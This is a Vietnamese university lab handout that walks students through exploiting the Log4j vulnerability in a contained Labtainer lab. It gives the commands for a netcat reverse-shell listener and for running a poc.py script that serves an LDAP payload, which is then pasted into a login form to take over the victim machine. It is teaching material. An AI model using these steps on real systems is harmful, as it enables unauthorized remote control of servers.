# **1. Nội dung và hướng dẫn thực hiện bài thực hành**

## 1.1. Mục đích

Giúp sinh viên hiểu biết về lỗ hỏng Log4j, cách khai thác lỗ hỏng và các dạng tấn công. Cho phép máy attacker chiếm quyền điều khiển máy victim

## 1.2 Yêu cầu đối với sinh viên

Có kiến thức cơ bản về hệ điều hành Linux, mô hình mạng máy chủ/khách.

## 1.3 Nội dung thực hành

- Khởi động bài lab:

Vào terminal gõ:

*labtainer ptit-log4j -r*

*(chú ý: sinh viên sử dụng email stu.ptit.edu.vn của mình để nhập thông tin email người thực hiện bài lab khi có yêu cầu, để sử dụng khi chấm điểm)*

Sau khi khởi động bài lab xong thì sẽ có 3 terminal ảo xuất hiện, hai cái đại diện cho máy attack: **attacker** và một máy đại diện cho máy victim: **victim**. Biết rằng 2 máy này cùng mạng LAN.

Ở trên terminal victim: ta sử dụng quyền root để truy cập vào thư mục log4j-shell-poc. Sau khi truy cập vào thư mục ta bắt đầu build docker với lệnh:

*sudo docker build -t log4j-shell-poc .*

Sau khi build xong ta chạy lệnh docker run để thiết lập môi trường với lệnh:

*sudo docker run --network host log4j-shell-poc*

Khi nhập lệnh xong, ta sẵn sàng máy chủ ứng dụng web dễ bị tấn công, bây giờ ta hãy duyệt đến địa chỉ IP máy victim trong trình duyệt tại cổng 8080. Nếu chưa có browser thì có thể tải firefox bằng terminal.

Ở trên terminal đầu tiên attacker: ta sử dụng quyền root để truy cập vào thư mục chứa file jdk java *jdk-8u202-linux-x64.tar.gz* và giải nén jdkvới lệnh:

*tar -xf jdk-8u202-linux-x64.tar.gz*

Sau khi giải nén xong thì ta chuyển file jdk vào thư mục /usr/bin

*mv jdk1.8.0\_202 /usr/bin*

Tiếp theo ta truy cập vào thư mục log4j-shell-poc ở trên terminal attacker còn lại. Thư mục đó chứa tập lệnh python, **poc.py** mà ta sẽ phải cấu hình chỉnh sửa *nano poc.py*. Ở đây ta cần sửa đổi đường dẫn của file jdk ‘ **./jdk1.8.2.20/** ’ thành ‘ **/usr/bin/jdk1.8.0\_202/** ’

Khi mà tất cả các thay đổi đã xong ta lưu file lại và bắt đầu tấn công. Đầu tiên ta khởi tạo trình nghe netcat với cổng 9001 trên terminal attacker đầu tiên:

*nc -lvp 9001*

Tiếp theo ta sẽ khởi tạo LDAP ở terminal attacker còn lại để tạo payload để request đến webserver

*python3 poc.py --userip <IP máy attacker> --webport 8000 --lport 9001*

Sau khi tạo thành công payload ta truy cập đến trình duyệt web có địa chỉ IP máy victim ta dán payload vào username và password để bất kỳ rồi ta login.

Khi login xong thì ở cửa sổ netcat ta nhận được 1 trình bao ngược lại và ta đã chiếm được quyền điều khiển máy victim.

- Kết thúc bài lab:

* Trên terminal đầu tiên sử dụng câu lênh sau để kết thúc bài lab:

*stoplab ptit-log4j*

* Khi bài lab kết thúc, một tệp zip lưu kết quả được tạo và lưu vào một vị trí được hiển thị bên dưới stoplab.

- Khởi động lại bài lab:

* Trong quá trình làm bài sinh viên cần thực hiện lại bài lab, dùng câu lệnh:

*labtainer ptit-log4j -r*